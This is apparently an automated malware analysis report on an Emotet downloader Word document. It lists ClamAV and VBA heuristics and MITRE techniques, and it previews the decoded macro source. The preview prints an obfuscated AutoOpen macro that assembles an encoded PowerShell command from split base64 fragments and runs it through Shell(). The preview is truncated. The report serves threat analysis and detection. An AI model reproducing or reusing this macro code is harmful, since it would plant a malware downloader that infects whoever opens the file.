MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6899214-0'. Static analysis reveals the presence of VBA macros, specifically an AutoOpen macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary payload, a common Emotet distribution technique.
Heuristics 7
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ClamAV: Doc.Downloader.Emotet-6899214-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6899214-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12519 bytes |
SHA-256: a73e5f7f56b9b6ca5300ddc9d33ca2961a935f0bccbc2c913cb8364fed73fe45 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "foNiJLsQr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function fSODOmNMk()
On Error Resume Next
For qfbsO = aVEAE To QrZTPP
For qLwNi = lEGdv To 86061
jBfuKJ = (1660 / CBool(wzFzE) - pjwOp / Oct(51823 / Hex(85569) / CrSsi + Rnd(QTrJIS / Fix(37))))
Next
OLiIF = 28652 - 24599
Next
For NtPipw = IPGRt To zocRb
For mcGwp = PaUTFj To 23178
XowCOs = (63149 / CBool(LbCqZq) - XCqdr / Oct(49922 / Hex(34896) / wasZV + Rnd(oJWFN / Fix(37))))
Next
KqaDiq = 88191 - 32405
Next
fSODOmNMk = ivMiR + Shell(RGWiMLSrDPl + Chr(AiknkvBZ + vbKeyP + KwDLjItFSJJ) + "owers" + WBUzimvvWWf + HwHznw + NiSjqWaKi + SdkMMcMi + sMJKiRLCHEQ, 17641 - 17641)
For uwMYLz = OGUFF To BcWSLq
For RfkLA = jbnvA To 61731
cCbfB = (20271 / CBool(XvQkI) - dozjPf / Oct(6563 / Hex(88269) / OOAYG + Rnd(paKUZ / Fix(37))))
Next
FzAqR = 1268 - 72813
Next
End Function
Sub Autoopen()
On Error Resume Next
For WPzDPb = iHfUcH To nNfcE
For hUFQij = pzpzf To 33750
pwOzJf = (50508 / CBool(TiAww) - LnLpww / Oct(34425 / Hex(5079) / jViDC + Rnd(RipLNZ / Fix(37))))
Next
wiSZMW = 1552 - 52369
Next
fSODOmNMk
For ljhdJ = IiScnp To bbbYiC
For KljRXp = WXmvBi To 37475
wWZXmZ = (13339 / CBool(klzTGr) - orwiFz / Oct(125 / Hex(31548) / UBlLj + Rnd(lGLscF / Fix(37))))
Next
HPWDtw = 60134 - 44708
Next
End Sub
Attribute VB_Name = "WiZzDDDOkw"
Function WBUzimvvWWf()
On Error Resume Next
For PLBOYM = UkZGQ To YEKaR
For bWAuj = kzKiPl To 53753
cpEQw = (56153 / CBool(jFzEz) - zTQlv / Oct(46621 / Hex(35294) / TPQRan + Rnd(ApUni / Fix(37))))
Next
jjzui = 77618 - 16584
Next
buSHckDu = "HeLL -e IAAuACg" + "AKABnAGUA" + "VAAtAFYAQQ" + "ByAEkAYQBiAEwAZ" + "QAgACcAKg" + "BtA" + "EQAcgAqACcA" + "KQAuAE4AYQBNAGU" + "AWwAzA"
For RBqlfk = usUNJJ To ZnwWp
For fPiQTz = jRrRj To 18717
COaju = (5755 / CBool(GwAZUA) - JLvIwS / Oct(30617 / Hex(2514) / aRfUu + Rnd(BCdzFF / Fix(37))))
Next
NRbmF = 48193 - 37018
Next
JZuFw = "CwAMQAxACwAMgBd" + "AC0ASgBvAGkA" + "bgAnACc" + "AKQAoAG4ARQ"
For qzzpaF = JlrnBr To POiqd
For zwUuVw = djMMqi To 87585
SjiUXF = (87587 / CBool(ISEUNC) - DPvXf / Oct(89211 / Hex(58565) / TcHSc + Rnd(iwTzQ / Fix(37))))
Next
iEWFqE = 6539 - 23374
Next
RwZzjtBObYt = "BX" + "AC0AT" + "wBiAEoARQBDAH" + "QAIABJAG8AL" + "gBDAG8AbQBwAF" + "IARQBTAHM" + "ASQ" + "BPAG4ALgBEAEUA" + "RgBMAEEAdABlAFM"
For RdkbTI = vKOpnb To rPmQT
For VkWwFi = sphbqS To 55661
wXqJQ = (62379 / CBool(JjbJG) - iqDnjh / Oct(12292 / Hex(62656) / oWpJF + Rnd(dmwVw / Fix(37))))
Next
tsvHC = 95823 - 39025
Next
MEdnBRO = "AVAB" + "yAEUAYQ" + "Bt" + "ACgAW"
For mUvXFO = dnHkWV To iUUHbw
For wdoIlk = HjhkmE To 40678
aRDqF = (99702 / CBool(rlbmDJ) - nuWXvp / Oct(82943 / Hex(14441) / UiCVH + Rnd(AkRVOt / Fix(37))))
Next
Ekqfz = 73952 - 5927
Next
zZcVBRX = "wBzAHk" + "AcwBUA" + "EUATQAu" + "AG" + "kAbwAu" + "AG0ARQBNAE8Acg"
For zhnjsm = OIfcT To jMDir
For krVhu = kqlhQr To 8997
iVwOo = (27992 / CBool(mWIpma) - VYnBF / Oct(41264 / Hex(35428) / dzswIv + Rnd(jsnXOT / Fix(37))))
Next
Pppdd = 96028 - 40538
Next
wcBwiNaWcV = "BZA" + "FMAdAByAEU" + "AYQBNAF0AWwB" + "DAG8AbgB2" + "AGUAUgBUAF0AOg" + "A6AEYAcgBvAE" + "0AYgBBAF" + "MARQA2ADQAcw" + "B0"
For rIHjV = tOmjm To rzVpGs
For pPBOL = HIwLcs To 39400
RHkrY = (50978 / CBool(niBoc) - WSTzX / Oct(70715 / Hex(75648) / zpuvCN + Rnd(vCJqR / Fix(37))))
Next
Zplzh = 34241 - 91240
Next
tNqcK = "AHIASQBOAEcA" + "KAAgACcAVgBaAE" + "QAYg" + "BUAHMASgBB"
For lAZiH = qiMFHh To TRpwWM
For sbrzL = wdiBp To 36481
dMpVMu = (55422 / CBool(QqEjk) - GXvBLE / Oct(69998 / Hex(18788) / IbXHo + Rnd(vKPop / Fix(37))))
Next
HbUjb = 69432 - 94683
Next
wpFzKRfMK = "AE" + "U
... (truncated)
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